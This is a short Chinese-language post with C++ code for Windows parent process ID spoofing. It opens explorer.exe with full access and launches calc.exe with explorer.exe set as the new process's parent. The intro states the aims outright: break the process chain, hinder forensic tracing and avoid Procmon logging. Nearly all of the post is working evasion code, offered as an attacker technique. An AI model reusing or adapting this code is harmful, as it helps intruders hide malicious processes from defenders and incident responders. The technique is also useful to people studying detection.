创建进程时为创建的进程指定父进程,可以用来破坏进程链,加大溯源难度,而且用procmon也抓不到日志
#include "stdafx.h"
#include "windows.h"
#include <intrin.h>
#include <TlHelp32.h>
DWORD GetProcessIDFromName(WCHAR * name)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
printf("CreateToolhelp32Snapshot Error!");
return false;
}
BOOL bResult = Process32First(hProcessSnap, &pe32);
int num(0);
while (bResult)
{
if (_wcsicmp(pe32.szExeFile, name) == 0)
{
return pe32.th32ProcessID;
}
bResult = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return 0;
}
int _tmain(int argc, _TCHAR* argv[])
{
CHAR* lpExePath = "c:\\windows\\system32\\calc.exe";
/* 根据进程名获取任意进程Id */
DWORD pid = GetProcessIDFromName(L"explorer.exe");//遍历进程快照获取进程ID
if (pid == 0)
{
printf("Can't find process pid!\n");
return false;
}
HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
/* 创建启动信息结构体 */
STARTUPINFOEXA si;
/* 初始化结构体 */
ZeroMemory(&si, sizeof(si));
/* 设置结构体成员 */
si.StartupInfo.cb = sizeof(si);
SIZE_T lpsize = 0;
/* 用微软规定的特定的函数初始化结构体 */
InitializeProcThreadAttributeList(NULL, 1, 0, &lpsize);
/* 转换指针到正确类型 */
char * temp = new char[lpsize];
LPPROC_THREAD_ATTRIBUTE_LIST AttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)temp;
/* 真正为结构体初始化属性参数 */
InitializeProcThreadAttributeList(AttributeList, 1, 0, &lpsize);
/* 用已构造的属性结构体更新属性表 */
if (!UpdateProcThreadAttribute(AttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &handle, sizeof(HANDLE), NULL, NULL))
{
printf("%s", "Fail to update attributes");
return 0;
}
si.lpAttributeList = AttributeList;
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(NULL, 0, lpExePath, 0, 0, 0, EXTENDED_STARTUPINFO_PRESENT, 0, 0, (LPSTARTUPINFOA)&si, &pi);
DeleteProcThreadAttributeList(AttributeList);
delete temp;
return 0;
}